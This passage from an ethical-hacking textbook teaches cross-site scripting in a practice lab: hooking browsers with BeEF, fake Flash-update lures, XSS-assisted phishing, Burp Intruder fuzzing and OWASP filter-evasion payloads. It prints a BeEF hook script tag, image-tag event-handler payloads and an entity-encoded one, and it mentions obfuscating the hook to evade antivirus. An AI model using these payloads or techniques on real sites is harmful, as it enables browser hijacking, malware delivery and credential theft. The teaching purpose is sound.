The average user of the web will often be frustrated when they come across HTTP 500 error pages, but this is great news for the hacker as it means that they could be close to an interesting vulnerability. Sometimes, HTTP 500 pages will not provide any information whatsoever as to what exactly is wrong, but you may see plenty of information on some occasions. You may see something basic, like software and version details, or a complete stack trace detailing the server-side script's exact issue. In some cases, you may have triggered a 500 error and see user credentials or file contents output as part of the error message itself. HTTP 500 errors are an indication that something has gone awry on the server and should always be investigated further to ensure they are not showing the presence of a SQL injection vulnerability or similar type of flaw.

The Browser Exploitation Framework

The Browser Exploitation Framework (BeEF) (beefproject.com) is a project designed to teach you all about XSS and its implications. BeEF can be installed to Kali Linux using apt install beef-xss, or you can install it by following instructions on the project's wiki at github.com/beefproject/beef/wiki/Installation. Installing it from the source is recommended in order to make the most of this framework. Assuming you are using the Kali Linux version of BeEF, which is easier to install and get working quickly, enter the command beef-xss in a terminal as the root user (or use sudo). Initially, BeEF prompts you to set a password for the default user beef, (we recommend that you set a strong password), and once you enter the password, additional text will be shown. This text shows the hook (highlighted in the following screen) that must be used in order to exploit victims. In this case, the only victim will be you as you’ll be testing these XSS attacks against yourself. Here's an excerpt of the output provided by BeEF when launched:

[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

BeEF's GUI will also open in your web browser. Once you have logged in with the username of beef and the password you set at the command line, the default page will be displayed, as shown in Figure 12.26. This page provides some information on how to get started.

By default, BeEF will be running on localhost 127.0.0.1, TCP port 3000. You should see the URL in your browser, 127.0.0.1:3000/ui/panel/.

Copy BeEF's example code from beneath the hook in the terminal, and paste this in as a new comment (as you did before with the JavaScript alert) on the book lab's web application. For convenience, here's the code that you'll need to enter:

<script src="http://127.0.0.1:3000/hook.js"></script>

You are simply injecting some JavaScript that references code elsewhere with this line. That code is found on your localhost in this case, but in the real world, you could have your own virtual private server running BeEF and reference that instance instead. By referencing remote JavaScript code, you can alter the code on your instance of BeEF and have the web application (or more specifically, the victim's browser) run it. There is no need to update your persistently stored hook on the web application. Submit the form, and you should not see any visible indication (without looking at the page's source) that your code has been saved. This is how an attack works in the real world—most users would have no idea that an attack took place. Return to BeEF, and you should see a new entry appear on the left under Hooked Browsers (see Figure 12.27). You may need to expand the Online Browsers folder (by clicking the small arrow next to it) to see the browser that has been hooked.

Entries appearing in the Hooked Browsers panel on the left represent victims’ machines. In this case, the only victim is you; that is, your browser. You could try accessing the book lab from your host operating system's browser (rather than with Kali Linux). This may help you to see the difference between the attacker, which is you on your Kali VM, and a victim. Again this is you, but on a different host—your Windows, macOS, or Ubuntu host OS, for instance.

The hook.js file that you're sending users to load is a piece of code that allows communication between you, the attacker, your BeEF instance, and the victim user's browser. You've hooked your own browser now, but if you were trying to exploit this in reality, you'd see more hooked browsers appear as they visited the compromised web page. This is why you would need to install and configure BeEF on an Internet-facing web server, so that the scripts could be requested and accessed by third parties—not just yourself as in our examples here.

Modern antivirus software detects BeEF, so if you were doing this on a real-world test and that was likely to be an issue that thwarts your attack, you'd want to customize the hook.js file or obfuscate the code to avoid detection. You can use a Ruby gem “jsobfu” to obfuscate and hide the intention of malicious JavaScript such as a BeEF agent. Detailed documentation and the gem itself can be obtained from github.com/rapid7/jsobfu.

If you're writing a report for a client, then showing an example attack often allows you to highlight the risk more easily to a lay person, effectively building a PoC for an attack.

Clicking on the browser in the list will take you to the Current Browser tab. If you click on Commands in the second row of tabs (shown in Figure 12.28), you'll be taken to the Module Tree. Try running one of the Social Engineering modules for Adobe Flash malware. You should see confirmation of your attack when you return to the website!

Once you've hooked a user's browser or multiple browsers, you can look for ways to exploit that browser through missing patches or using Metasploit's browser_autopwn module, for example. This requires some significant configuration on your part, and we recommend that you read through the BeEF documentation first to make the most of this tool and its integration with Metasploit.

If you haven't managed to get something working, try using the fake Flash update. This will send a spoofed Flash update message that when clicked will download a file or send the user to a website of your choosing. You've probably seen something like this in real life in the past. It has certainly been used to lure people away from a trusted site to a malicious one where they can be prompted to download malware, allowing a complete takeover of the victim's machine. It is a commonly exploited trick used to deliver malware through advertisement networks.

XSS can be used in conjunction with other attacks or approaches, such as phishing. You could send a link that takes the user to the website they know and trust where you've found a reflected XSS vulnerability and use it to ask them for a username and password, which are promptly returned back to you - the attacker. This has the advantage of appearing to originate from a website the user knows and trusts, effectively leveraging the reputation of that website to increase the success rate of your phishing attack.

XSS affects users of a site including employees that might also use that web application, and it does reputational and brand damage to the company itself. If an employee's system is hijacked, then it's much worse because an attacker has the potential to break through the external perimeter and then attack the internal network or access sensitive data.

More about XSS Flaws

We have shown you a single XSS vulnerability with some approaches for exploiting it. As an ethical hacker, you are expected to find every instance of such a vulnerability when testing a web application. While fully automated tools tend to be quite good at this, there are some things that you can do to semi-automate the process. Remember that it isn't just forms that we want to check, it is any place where we can inject our own input—any parameter or cookie—or anything that the server might use and redisplay to us. First, you should check to see if input is reflected, and then check to see whether your input is sanitized or not on reflection. One way to check multiple entry points is to use a tool like Intruder in Burp Suite. This is another free tool that will help you replicate the type of behavior of Burp Suite's Active Scanner.

Let's go back to that search form again. Intercept the request and send it to the Intruder. You can remove the BeEF cookie that has been added. BeEF is not required at all for this next step, and you can close it if you wish, although that might cause your browser to become slow as it searches for a script that is no longer available. Note that that the search request is a POST request with a number of parameters that can be changed. You should also treat HTTP headers as entry points, since these will sometimes be reflected. The Intruder will automatically detect entry points for you. For now, just allow the defaults.

With the free version of Burp Suite, you don't get any payloads, so you'll need to add your own. You should compile a list of strings that, if reflected, will cause JavaScript to be executed in the victim's browser. There are a number of options here, and <script> JavaScript </script> is certainly not the only way to achieve XSS. Using the Start Attack button in Intruder with a selection of payloads added to the tool will send requests repeatedly and change request parameters with the values of your payloads. This is one way in which you could test a particular parameter for different kinds of weaknesses in a semi-automated manner.

XSS Filter Evasion

Fortunately, you do not need to write out your own list of payload strings. There are plenty of free resources online that you can use. Take the OWASP's XSS Filter Evasion Cheat Sheet, for example, which can be found at owasp.org/www-community/xss-filter-evasion-cheatsheet. You could import these into Burp Suite, specifically into the Intruder. Once you have your list ready to go and you've selected an attack type, you can start the attack. In order to verify whether any of these payloads has been successful, you'll need to check the output for the same string. For XSS to have been achieved, you'll need to see HTTP 200 responses. If you happen to see a HTTP 500 response code, however, that's something else to check out because your payload has caused a potentially serious server-side error! You can find other resources by searching for “xss filter evasion” using your favorite search engine. An increasingly effective method of XSS evasion is to use an XSS Polyglot—that is, a piece of JavaScript which could also be an image or valid XML. These strings are regularly posted and shared on github by researchers who adjust and create ever increasingly sophisticated versions to deceive applications into believing they are processing data such as an image, but which will execute in the browser as JavaScript when processed.

Here's a couple of the OWASP's payloads, which will work against the book lab. The first one will create an image placeholder on the page, which when rolled over with the mouse, triggers an alert pop-up box. As before, this pop-up code can be substituted with anything you or a malicious hacker would like. This uses event handlers and is a very common method for bypassing weak XSS filters that may only be matching tags such as <script>. As you can see, this snippet does away with the opening and closing script tags ( <script></script>), so if the only defense an application provides is stripping those tags, then it is certainly still vulnerable:

<IMG SRC=# onmouseover="alert('XSS')">

The following payload also uses an image tag, but it uses the JavaScript onError event instead of the onMouseOver event, it must be entered on one line. Instead of using human readable characters, HTML entity encoding is used to create a JavaScript alert.

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#
0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#
0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#
0000039&#0000041">